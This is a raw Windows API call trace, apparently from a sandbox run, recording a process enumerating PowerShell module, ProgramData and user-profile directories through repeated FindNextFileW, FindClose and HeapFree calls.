	[0180.915] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0180.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.916] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0180.916] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0180.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.916] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0180.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.962] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0180.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.962] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0180.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.965] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0180.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.966] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0180.966] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0180.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.966] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0180.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.974] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0180.975] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.975] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0180.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.977] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0180.977] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0180.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.979] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1
	[0180.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.982] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1
	[0180.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.982] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0180.984] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0180.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.988] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0180.988] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0180.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.988] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0180.993] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.993] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1
	[0180.994] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.994] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0180.998] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.998] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0
	[0180.998] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0180.998] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.998] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0
	[0180.998] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0180.998] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.998] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1
	[0181.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0181.000] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1
	[0181.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.000] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0181.000] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0181.001] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.001] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 0
	[0181.001] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0181.001] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.003] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0181.003] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.003] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d2a046, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d2a046, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0181.003] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0181.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0181.003] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0181.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.007] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1
	[0181.008] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.008] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 1
	[0181.008] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.008] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 0
	[0181.008] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0181.008] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0181.008] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0
	[0181.008] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0181.008] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.009] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0181.010] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.010] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Comms", cAlternateFileName="")) returned 1
	[0181.011] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.011] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0181.011] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.011] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0181.011] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0181.011] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0181.019] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
